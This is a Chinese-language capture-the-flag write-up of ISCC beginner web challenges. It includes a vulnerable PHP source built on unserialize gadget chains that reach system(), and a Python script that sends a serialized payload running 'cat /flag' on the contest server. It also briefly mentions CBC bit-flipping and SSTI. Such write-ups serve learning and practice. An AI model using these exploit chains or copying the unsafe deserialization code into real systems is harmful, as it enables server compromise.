ISCC练武题

适合新手的题,练练手

WEB-1

image-20210507222242720

打开环境，是一个投票页面

image-20210507222313417

题目要求：在20秒之内让左边的票数高过右边的

  • 方法一：Python写脚本模拟点击，实现刷票
  • 方法二：修改左右客服的ID
  • 方法三：直接在控制台修改左边票数的数据

WEB-2

查看源码

image-20210507223605027

是JS编码

http://www.jsfuck.com/

打开在线网站，直接提交这串编码即出flag

JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

It does not depend on a browser, so you can even run it on Node.js.

Use the form below to convert your own script. Uncheck “eval source” to get back a plain string.

WEB-3

image-20210507224002677

查看robots.txt

image-20210507224038667

继续查看code.txt

出现一串PHP代码

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<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {
     
	if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	
    }
	  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
	{    
    
		if (strpos ($_GET['password'], '*-*') !== FALSE)
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>

根据正则表达以GET型提交即可。

注意是在根目录下提交GET请求。

image-20210507224313141

WEB-4

题目描述：ISCC客服一号冲冲冲（二）

image-20210524115114413

打开之后是个伪装的登录框（其实是图片）

但是图片显示不完整

值 描述
visible 默认值。内容不会被修剪，会呈现在元素框之外。
hidden 内容会被修剪，并且其余内容是不可见的。
scroll 内容会被修剪，但是浏览器会显示滚动条以便查看其余的内容。
auto 如果内容被修剪，则浏览器会显示滚动条以便查看其余的内容。
inherit 规定应该从父元素继承 overflow 属性的值。

根据 CSS 布局 - Overflow，可以看出图片的完整部分。

下载图片，并进行LSB隐写破解和压缩文件隐藏破解，发现行不通。

根据之前题目得到的flag进行POST提交

image-20210524142323165

修改admin

image-20210524142457440

image-20210524142752396

根据网上的提示，查看cookie,

CBC翻转攻击

image-20210524143139217

WEB-5

打开网页，是4张猫猫图片

image-20210524145620439

根据题目描述，这是一个ssti模板注入

这只猫叫小豆泥

信息收集：xiaodouni

image-20210524145744276

WEB-6

题目：Explore Ruby

WEB-7

打开之后是个登录框

尝试万能密码和SQL注入都没成功

然后尝试弱口令：test : test

image-20210507224844092

登录成功

image-20210507224920836

图片地址是base64编码

解密即可出flag

WEB-8

image-20210524154528742

源码如下：

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<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;
        
            if(is_uploaded_file($iscc_file['tmp_name'])) {
                
                $check = @getimagesize($iscc_file["tmp_name"]);
                
                if($check !== false) {

                    $target_dir = "/var/tmp/";
                    $target_file = $target_dir . randstr(10);

                    if (file_exists($target_file)) {
                        echo "想啥呢？有东西了……<br>";
                        finalize();
                        exit;
                    }

                    if ($iscc_file["size"] > 500000) {
                        echo "东西塞不进去~<br>";
                        finalize();
                        exit;
                    }

                    if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
                        echo "我拿到了！<br>";
                        $iscc_file = $target_file;
                        $status = "upload_ok";
                    } else {
                        echo "拿不到:(<br>";
                        finalize();
                        exit;
                    }

                } else {
                    finalize();
                    exit;
                }
                
            } else {
                echo "你真是个天才!<br>";
                finalize();
                exit;
            }
        }
    }
}

class ISCC_ResetCMD {

    protected $new_cmd = "echo '新新世界，发号施令!'";

    function __wakeup() {
        global $cmd;
        global $is_upload;
        global $status;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;

        if(!isset($this->new_cmd)) {
            $status = "error";
            $error = "你这罐子是空的!";
            throw new Exception($error);   
        }

        if(!is_string($this->new_cmd)) {
            $status = "error";
            $error = '东西都没给对!';
            throw new Exception($error);
        }
    }

    function __destruct() {
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }
    }

}

class ISCC_Login {

    function __wakeup() {
        $this->login();
    }

    function __destruct() {
        $this->logout();
    }

    function login() {
        $flag = file_get_contents("/flag");
        $pAssM0rd = hash("sha256", $flag);
        if($_GET['pAssM0rd'] === $pAssM0rd)
            $_SESSION['name'] = "isccIsCciScc1scc";
    }

    function logout() {
        global $status;
        unset($_SESSION['name']);
        $status = "finish";
    }

}

class ISCC_TellMeTruth {

    function __wakeup() {
        if(!isset($_SESSION['name'])) 
            $_SESSION['name'] = randstr(14);
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

    function __destruct() {
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

}

class ISCC_Command {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;
        $cmd = "whoami";
    }

    function __toString() {
        global $cmd;
        return "看看你干的好事: {$cmd} <br>";
    }

    function __destruct() {
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
            echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        }
    }

}

function randstr($len)
{
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
    $randstring = '';
    for ($i = 0; $i < $len; $i++) {
        $randstring .= $characters[rand(0, strlen($characters))];
    }
    return $randstring;
}

function waf($s) {
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;
}

function finalize() {
    $cmd = "";
    $is_upload = false;
    unset($_SESSION);
    @unlink($iscc_file);
    $status = "finish";
    echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
    $whatareyounongshane = $_GET['whatareyounongshane'];
    switch ($whatareyounongshane) {
        case "src":
            highlight_file(__FILE__);
            break;
        case "cmd":
            echo "想越级干好事？还是有门的……";
            header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
            break;
        case "reset":
            echo "几辈子积累的好运就在这时~:p";
            header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
            break;
        case "upload":
            $resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
  <input type="file" name="iscc_file">
  <input type="submit" value="Upload Image" name="submit">
</form>
EOF;
            echo $resp;
            break;
        case "tellmetruth":
            echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
            header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
            break;
        default:
            echo "空空如也就是我！";
    }
    finalize();
    die("所以哪个ISCC是真的？<br>");
}

if(isset($_GET['?'])) {
    
    $wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));
    
    if($goodshit = @unserialize($wtf)) {
        $is_unser_finished = true;
    }

    if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
        finalize();
    die("所以哪个ISCC是真的？<br>");
}

?>

<head>
<title>ISCC finder system - which is the true ISCC</title>
<meta charset="UTF-8">
<style>
* {
  margin: 0;
  padding: 0;
}

canvas {
  display: block;
}


#snowfall {
  width: 100%;
  height: 100vh;
  background: cornflowerblue;
}
</style>
</head>
<body>

<!--
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-->
<script src="//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<div id="snowfall"></div>
<script>
particlesJS("snowfall", {
  "particles": {
    "number": {
      "value": 100
    },
    "shape": {
      "type": "circle"
    },
    "size": {
      "value": 10,
      "random": true
    },
    "line_linked": {
      "enable": false
    },
    "move": {
      "enable": true,
      "speed": 2,
      "direction": "bottom",
      "straight": false
    }
  },
  "interactivity": {
    "detect_on": "canvas",
    "events": {
      "onhover": {
        "enable": false
      }
    },
    "modes": {
      "push": {
        "particles_nb": 12
      }
    }
  }
});
</script>
<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->
</body> 
所以哪个ISCC是真的？
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import requests

url="http://39.96.91.106:7050/"

files={
    'iscc_file':("b",open("1.png","rb")),
    "_SESSION":("isccIsCciScc1scc","hello")
}

r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files)
print(r.text)